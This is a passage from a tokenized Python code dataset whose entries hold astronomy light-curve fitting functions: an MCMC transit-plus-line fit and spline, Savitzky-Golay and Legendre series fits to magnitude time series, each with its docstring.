stimes, smags, serrs, priorbounds)<EOL>)<EOL>theta_ml = soln.x<EOL>ml_poly_order0 = theta_ml[<NUM_LIT:0>]<EOL>ml_poly_order1 = theta_ml[<NUM_LIT:1>]<EOL>ml_rp = theta_ml[<NUM_LIT:2>]<EOL>ml_t0 = theta_ml[<NUM_LIT:3>]<EOL>ml_params, ml_m = _transit_model(stimes, ml_t0, init_period,<EOL>ml_rp, init_sma, init_incl,<EOL>init_ecc, init_omega, init_u,<EOL>limb_dark)<EOL>ml_mags = (<EOL>ml_m.light_curve(ml_params) +<EOL>ml_poly_order0 + ml_poly_order1*stimes<EOL>)<EOL>initial_position_vec = [theta_ml + eps*np.random.randn(n_dim)<EOL>for i in range(n_walkers)]<EOL>starting_positions = initial_position_vec<EOL>isfirstrun = True<EOL>if os.path.exists(backend.filename):<EOL><INDENT>if backend.iteration > <NUM_LIT:1>:<EOL><INDENT>starting_positions = None<EOL>isfirstrun = False<EOL><DEDENT><DEDENT>if verbose and isfirstrun:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.<EOL>format(fittype, n_dim, n_mcmc_steps, n_walkers) +<EOL>'<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT>elif verbose and not isfirstrun:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.<EOL>format(fittype, n_dim, n_mcmc_steps, n_walkers) +<EOL>'<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT>with Pool(nworkers) as pool:<EOL><INDENT>sampler = emcee.EnsembleSampler(<EOL>n_walkers, n_dim, log_posterior_transit_plus_line,<EOL>args=(init_params, init_m, stimes, smags, serrs, priorbounds),<EOL>pool=pool,<EOL>backend=backend<EOL>)<EOL>sampler.run_mcmc(starting_positions, n_mcmc_steps,<EOL>progress=mcmcprogressbar)<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.format(<EOL>fittype, n_mcmc_steps, n_walkers<EOL>) + '<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT><DEDENT>reader = emcee.backends.HDFBackend(samplesavpath)<EOL>n_to_discard = int(burninpercent*n_mcmc_steps)<EOL>samples = reader.get_chain(discard=n_to_discard, flat=True)<EOL>log_prob_samples = reader.get_log_prob(discard=n_to_discard, flat=True)<EOL>log_prior_samples = reader.get_blobs(discard=n_to_discard, flat=True)<EOL>fit_statistics = list(<EOL>map(lambda v: (v[<NUM_LIT:1>], v[<NUM_LIT:2>]-v[<NUM_LIT:1>], v[<NUM_LIT:1>]-v[<NUM_LIT:0>]),<EOL>list(zip( *np.percentile(samples, [<NUM_LIT>, <NUM_LIT:50>, <NUM_LIT>], axis=<NUM_LIT:0>))))<EOL>)<EOL>medianparams, std_perrs, std_merrs = {}, {}, {}<EOL>for ix, k in enumerate(np.sort(list(priorbounds.keys()))):<EOL><INDENT>medianparams[k] = fit_statistics[ix][<NUM_LIT:0>]<EOL>std_perrs[k] = fit_statistics[ix][<NUM_LIT:1>]<EOL>std_merrs[k] = fit_statistics[ix][<NUM_LIT:2>]<EOL><DEDENT>stderrs = {'<STR_LIT>':std_perrs, '<STR_LIT>':std_merrs}<EOL>per = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>t0 = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>rp = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>sma = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>incl = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>ecc = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>omega = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>limb_dark = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>try:<EOL><INDENT>u = fixedparams['<STR_LIT:u>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>u = [medianparams['<STR_LIT>'], medianparams['<STR_LIT>']]<EOL><DEDENT>poly_order0 = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>poly_order1 = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>fit_params, fit_m = _transit_model(stimes, t0, per, rp, sma, incl, ecc,<EOL>omega, u, limb_dark)<EOL>fitmags = (<EOL>fit_m.light_curve(fit_params) +<EOL>poly_order0 + poly_order1*stimes<EOL>)<EOL>fepoch = t0<EOL>medianparams['<STR_LIT>'] += timeoffset<EOL>returndict = {<EOL>'<STR_LIT>':fittype,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':fitparams,<EOL>'<STR_LIT>':init_flux,<EOL>'<STR_LIT>':fixedparams,<EOL>'<STR_LIT>':medianparams,<EOL>'<STR_LIT>':stderrs,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':fepoch+timeoffset,<EOL>},<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':stimes+timeoffset,<EOL>'<STR_LIT>':smags,<EOL>'<STR_LIT>':serrs,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>if plotcorner:<EOL><INDENT>fig = corner.corner(<EOL>samples,<EOL>labels=['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'.format(timeoffset)],<EOL>truths=[ml_poly_order0, ml_poly_order1, ml_rp, ml_t0],<EOL>quantiles=[<NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>], show_titles=True<EOL>)<EOL>plt.savefig(plotcorner, dpi=<NUM_LIT>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'.format(plotcorner))<EOL><DEDENT><DEDENT>if plotfit and isinstance(plotfit, str):<EOL><INDENT>plt.close('<STR_LIT:all>')<EOL>f, (a0, a1) = plt.subplots(nrows=<NUM_LIT:2>, ncols=<NUM_LIT:1>, sharex=True,<EOL>figsize=(<NUM_LIT:8>,<NUM_LIT:5>),<EOL>gridspec_kw={'<STR_LIT>':[<NUM_LIT:3>, <NUM_LIT:1>]})<EOL>a0.scatter(stimes, smags, c='<STR_LIT:k>', alpha=<NUM_LIT>, label='<STR_LIT:data>', zorder=<NUM_LIT:1>,<EOL>s=<NUM_LIT:10>, rasterized=True, linewidths=<NUM_LIT:0>)<EOL>DEBUGGING = False<EOL>if DEBUGGING:<EOL><INDENT>a0.scatter(stimes, init_flux, c='<STR_LIT:r>', alpha=<NUM_LIT:1>, s=<NUM_LIT>, zorder=<NUM_LIT:2>,<EOL>rasterized=True, linewidths=<NUM_LIT:0>,<EOL>label='<STR_LIT>')<EOL>a0.scatter(stimes, ml_mags, c='<STR_LIT:g>', alpha=<NUM_LIT:1>, s=<NUM_LIT>, zorder=<NUM_LIT:2>,<EOL>rasterized=True, linewidths=<NUM_LIT:0>, label='<STR_LIT>')<EOL><DEDENT>a0.plot(<EOL>stimes, fitmags, c='<STR_LIT:b>',<EOL>zorder=<NUM_LIT:0>, rasterized=True, lw=<NUM_LIT:2>, alpha=<NUM_LIT>,<EOL>label='<STR_LIT>'.format(fittype, len(fitparamnames))<EOL>)<EOL>a1.scatter(<EOL>stimes, smags-fitmags, c='<STR_LIT:k>', alpha=<NUM_LIT>,<EOL>rasterized=True, s=<NUM_LIT:10>, linewidths=<NUM_LIT:0><EOL>)<EOL>if scatterxdata and scatteryaxes:<EOL><INDENT>import matplotlib.transforms as transforms<EOL>for a in [a0, a1]:<EOL><INDENT>transform = transforms.blended_transform_factory(<EOL>a.transData, a.transAxes<EOL>)<EOL>a.scatter(scatterxdata, scatteryaxes, c='<STR_LIT:r>', alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:2>, s=<NUM_LIT:10>, rasterized=True, linewidths=<NUM_LIT:0>,<EOL>marker=\"<STR_LIT>\", transform=transform)<EOL><DEDENT><DEDENT>a1.set_xlabel('<STR_LIT>')<EOL>a0.set_ylabel('<STR_LIT>')<EOL>a1.set_ylabel('<STR_LIT>')<EOL>a0.legend(loc='<STR_LIT>', fontsize='<STR_LIT>')<EOL>for a in [a0, a1]:<EOL><INDENT>a.get_yaxis().set_tick_params(which='<STR_LIT>', direction='<STR_LIT>')<EOL>a.get_xaxis().set_tick_params(which='<STR_LIT>', direction='<STR_LIT>')<EOL><DEDENT>f.tight_layout(h_pad=<NUM_LIT:0>, w_pad=<NUM_LIT:0>)<EOL>f.savefig(plotfit, dpi=<NUM_LIT>, bbox_inches='<STR_LIT>')<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'.format(plotfit))<EOL><DEDENT>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL>", "docstring": "The model fit by this function is: a Mandel & Agol (2002) transit, PLUS a\n    line. You can fit and fix whatever parameters you want.\n\n    A typical use case: you want to measure transit times of individual SNR >~\n    50 transits. You fix all the transit parameters except for the mid-time,\n    and also fit for a line locally.\n\n    NOTE: this only works for flux time-series at the moment.\n\n    NOTE: Between the `fitparams`, `priorbounds`, and `fixedparams` dicts, you\n    must specify all of the planetary transit parameters required by BATMAN and\n    the parameters for the line fit: `['t0', 'rp', 'sma', 'incl', 'u', 'rp',\n    'ecc', 'omega', 'period', 'poly_order0', poly_order1']`, or the BATMAN model\n    will fail to initialize.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input flux time-series to fit a Fourier cosine series to.\n\n    fitparams : dict\n        This is the initial parameter guesses for MCMC, found e.g., by\n        BLS. The key string format must not be changed, but any parameter can be\n        either \"fit\" or \"fixed\". If it is \"fit\", it must have a corresponding\n        prior. For example::\n\n            fitparams = {'t0':1325.9,\n                         'poly_order0':1,\n                         'poly_order1':0.}\n\n        where `t0` is the time of transit-center for a reference transit.\n        `poly_order0` corresponds to the intercept of the line, `poly_order1` is\n        the slope.\n\n    priorbounds : dict\n        This sets the lower & upper bounds on uniform prior, e.g.::\n\n            priorbounds = {'t0':(np.min(time), np.max(time)),\n                            'poly_order0':(0.5,1.5),\n                            'poly_order1':(-0.5,0.5) }\n\n    fixedparams : dict\n        This sets which parameters are fixed, and their values. For example::\n\n            fixedparams = {'ecc':0.,\n                           'omega':90.,\n                           'limb_dark':'quadratic',\n                           'period':fitd['period'],\n                           'rp':np.sqrt(fitd['transitdepth']),\n                           'sma':6.17, 'incl':85, 'u':[0.3, 0.2]}\n\n        `limb_dark` must be \"quadratic\".  It's \"fixed\", because once you\n        choose your limb-darkening model, it's fixed.\n\n    trueparams : list of floats\n        The true parameter values you're fitting for, if they're known (e.g., a\n        known planet, or fake data). Only for plotting purposes.\n\n    burninpercent : float\n        The percent of MCMC samples to discard as burn-in.\n\n    plotcorner : str or False\n        If this is a str, points to the path of output corner plot that will be\n        generated for this MCMC run.\n\n    timeoffset : float\n        If input times are offset by some constant, and you want saved pickles\n        to fix that.\n\n    samplesavpath : str\n        This must be provided so `emcee` can save its MCMC samples to disk as\n        HDF5 files. This will set the path of the output HDF5file written.\n\n    n_walkers : int\n        The number of MCMC walkers to use.\n\n    n_mcmc_steps : int\n        The number of MCMC steps to take.\n\n    eps : float\n        The radius of the `n_walkers-dimensional` Gaussian ball used to\n        initialize the MCMC.\n\n    skipsampling : bool\n        If you've already collected MCMC samples, and you do not want any more\n        sampling (e.g., just make the plots), set this to be True.\n\n    overwriteexistingsamples : bool\n        If you've collected samples, but you want to overwrite them, set this to\n        True. Usually, it should be False, which appends samples to\n        `samplesavpath` HDF5 file.\n\n    mcmcprogressbar : bool\n        If True, will show a progress bar for the MCMC process.\n\n    plotfit: str or bool\n        If a str, indicates the path of the output fit plot file. If False, no\n        fit plot will be made.\n\n    scatterxdata : np.array or None\n        Use this to overplot x,y scatter points on the output model/data\n        lightcurve (e.g., to highlight bad data, or to indicate an ephemeris),\n        this can take a `np.ndarray` with the same units as `times`.\n\n    scatteryaxes : np.array or None\n        Use this to provide the y-values for scatterxdata, in units of fraction\n        of an axis.\n\n    magsarefluxes : bool\n        This indicates if the input measurements in `mags` are actually fluxes.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate MCMC progress.\n\n    nworkers : int\n        The number of parallel workers to launch for MCMC.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters and\n        other fit information. The form of this dict is mostly standardized\n        across all functions in this module::\n\n            {\n                'fittype':'mandelagol_and_line',\n                'fitinfo':{\n                    'initialparams':the initial transit params provided,\n                    'fixedparams':the fixed transit params provided,\n                    'finalparams':the final model fit transit params,\n                    'finalparamerrs':formal errors in the params,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14680:m10"}
{"signature": "def spline_fit_magseries(times, mags, errs, period,<EOL>knotfraction=<NUM_LIT>,<EOL>maxknots=<NUM_LIT:30>,<EOL>sigclip=<NUM_LIT>,<EOL>plotfit=False,<EOL>ignoreinitfail=False,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "<EOL>if errs is None:<EOL><INDENT>errs = npfull_like(mags, <NUM_LIT>)<EOL><DEDENT>stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>phase, pmags, perrs, ptimes, mintime = (<EOL>get_phased_quantities(stimes, smags, serrs, period)<EOL>)<EOL>nobs = len(phase)<EOL>nknots = int(npfloor(knotfraction*nobs))<EOL>nknots = maxknots if nknots > maxknots else nknots<EOL>splineknots = nplinspace(phase[<NUM_LIT:0>] + <NUM_LIT>,<EOL>phase[-<NUM_LIT:1>] - <NUM_LIT>,<EOL>num=nknots)<EOL>phase_diffs_ind = npdiff(phase) > <NUM_LIT:0.0><EOL>incphase_ind = npconcatenate((nparray([True]), phase_diffs_ind))<EOL>phase, pmags, perrs = (phase[incphase_ind],<EOL>pmags[incphase_ind],<EOL>perrs[incphase_ind])<EOL>spl = LSQUnivariateSpline(phase, pmags, t=splineknots, w=<NUM_LIT:1.0>/perrs)<EOL>fitmags = spl(phase)<EOL>fitchisq = npsum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>fitredchisq = fitchisq/(len(pmags) - nknots - <NUM_LIT:1>)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(nknots, fitchisq, fitredchisq)<EOL>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmax(fitmags))<EOL><DEDENT>else:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmin(fitmags))<EOL><DEDENT>if len(fitmagminind[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>fitmagminind = (fitmagminind[<NUM_LIT:0>][<NUM_LIT:0>],)<EOL><DEDENT>magseriesepoch = ptimes[fitmagminind]<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':nknots,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':magseriesepoch<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>},<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>period, mintime, magseriesepoch,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL>", "docstring": "This fits a univariate cubic spline to the phased light curve.\n\n    This fit may be better than the Fourier fit for sharply variable objects,\n    like EBs, so can be used to distinguish them from other types of variables.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit a spline to.\n\n    period : float\n        The period to use for the spline fit.\n\n    knotfraction : float\n        The knot fraction is the number of internal knots to use for the\n        spline. A value of 0.01 (or 1%) of the total number of non-nan\n        observations appears to work quite well, without over-fitting. maxknots\n        controls the maximum number of knots that will be allowed.\n\n    maxknots : int\n        The maximum number of knots that will be used even if `knotfraction`\n        gives a value to use larger than `maxknots`. This helps dealing with\n        over-fitting to short time-scale variations.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'spline',\n                'fitinfo':{\n                    'nknots': the number of knots used for the fit\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14681:m0"}
{"signature": "def savgol_fit_magseries(times, mags, errs, period,<EOL>windowlength=None,<EOL>polydeg=<NUM_LIT:2>,<EOL>sigclip=<NUM_LIT>,<EOL>plotfit=False,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>phase, pmags, perrs, ptimes, mintime = (<EOL>get_phased_quantities(stimes, smags, serrs, period)<EOL>)<EOL>if not isinstance(windowlength, int):<EOL><INDENT>windowlength = max(<EOL>polydeg + <NUM_LIT:3>,<EOL>int(len(phase)/<NUM_LIT>)<EOL>)<EOL>if windowlength % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>windowlength += <NUM_LIT:1><EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (windowlength,<EOL>polydeg,<EOL>len(pmags),<EOL>period,<EOL>mintime))<EOL><DEDENT>sgf = savgol_filter(pmags, windowlength, polydeg, mode='<STR_LIT>')<EOL>fitmags = sgf<EOL>fitchisq = npsum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>nparams = int(len(pmags)/windowlength) * polydeg<EOL>fitredchisq = fitchisq/(len(pmags) - nparams - <NUM_LIT:1>)<EOL>fitredchisq = -<NUM_LIT><EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq, fitredchisq)<EOL>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmax(fitmags))<EOL><DEDENT>else:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmin(fitmags))<EOL><DEDENT>if len(fitmagminind[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>fitmagminind = (fitmagminind[<NUM_LIT:0>][<NUM_LIT:0>],)<EOL><DEDENT>magseriesepoch = ptimes[fitmagminind]<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':windowlength,<EOL>'<STR_LIT>':polydeg,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':magseriesepoch<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>}<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>period, mintime, magseriesepoch,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL>", "docstring": "Fit a Savitzky-Golay filter to the magnitude/flux time series.\n\n    SG fits successive sub-sets (windows) of adjacent data points with a\n    low-order polynomial via least squares. At each point (magnitude), it\n    returns the value of the polynomial at that magnitude's time.  This is made\n    significantly cheaper than *actually* performing least squares for each\n    window through linear algebra tricks that are possible when specifying the\n    window size and polynomial order beforehand.  Numerical Recipes Ch 14.8\n    gives an overview, Eq. 14.8.6 is what Scipy has implemented.\n\n    The idea behind Savitzky-Golay is to preserve higher moments (>=2) of the\n    input data series than would be done by a simple moving window average.\n\n    Note that the filter assumes evenly spaced data, which magnitude time series\n    are not. By *pretending* the data points are evenly spaced, we introduce an\n    additional noise source in the function values. This is a relatively small\n    noise source provided that the changes in the magnitude values across the\n    full width of the N=windowlength point window is < sqrt(N/2) times the\n    measurement noise on a single point.\n\n    TODO:\n    - Find correct dof for reduced chi squared in savgol_fit_magseries\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit the Savitsky-Golay model to.\n\n    period : float\n        The period to use for the model fit.\n\n    windowlength : None or int\n        The length of the filter window (the number of coefficients). Must be\n        either positive and odd, or None. (The window is the number of points to\n        the left, and to the right, of whatever point is having a polynomial fit\n        to it locally). Bigger windows at fixed polynomial order risk lowering\n        the amplitude of sharp features. If None, this routine (arbitrarily)\n        sets the `windowlength` for phased LCs to be either the number of finite\n        data points divided by 300, or polydeg+3, whichever is bigger.\n\n    polydeg : int\n        This is the order of the polynomial used to fit the samples.  Must be\n        less than `windowlength`. \"Higher-order filters do better at preserving\n        feature heights and widths, but do less smoothing on broader features.\"\n        (Numerical Recipes).\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'savgol',\n                'fitinfo':{\n                    'windowlength': the window length used for the fit,\n                    'polydeg':the polynomial degree used for the fit,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14681:m1"}
{"signature": "def legendre_fit_magseries(times, mags, errs, period,<EOL>legendredeg=<NUM_LIT:10>,<EOL>sigclip=<NUM_LIT>,<EOL>plotfit=False,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>phase, pmags, perrs, ptimes, mintime = (<EOL>get_phased_quantities(stimes, smags, serrs, period)<EOL>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (legendredeg,<EOL>len(pmags),<EOL>period,<EOL>mintime))<EOL><DEDENT>p = Legendre.fit(phase, pmags, legendredeg)<EOL>coeffs = p.coef<EOL>fitmags = p(phase)<EOL>fitchisq = npsum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>nparams = legendredeg + <NUM_LIT:1><EOL>fitredchisq = fitchisq/(len(pmags) - nparams - <NUM_LIT:1>)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq, fitredchisq)<EOL>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmax(fitmags))<EOL><DEDENT>else:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmin(fitmags))<EOL><DEDENT>if len(fitmagminind[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>fitmagminind = (fitmagminind[<NUM_LIT:0>][<NUM_LIT:0>],)<EOL><DEDENT>magseriesepoch = ptimes[fitmagminind]<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':legendredeg,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':magseriesepoch,<EOL>'<STR_LIT>':coeffs,<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>}<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>period, mintime, magseriesepoch,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL>", "docstring": "Fit an arbitrary-order Legendre series, via least squares, to the\n    magnitude/flux time series.\n\n    This is a series of the form::\n\n        p(x) = c_0*L_0(x) + c_1*L_1(x) + c_2*L_2(x) + ... + c_n*L_n(x)\n\n    where L_i's are Legendre polynomials (also called \"Legendre functions of the\n    first kind\") and c_i's are the coefficients being fit.\n\n    This function is mainly just a wrapper to\n    `numpy.polynomial.legendre.Legendre.fit`.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit a Legendre series polynomial to.\n\n    period : float\n        The period to use for the Legendre fit.\n\n    legendredeg : int\n        This is `n` in the equation above, e.g. if you give `n=5`, you will\n        get 6 coefficients. This number should be much less than the number of\n        data points you are fitting.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a 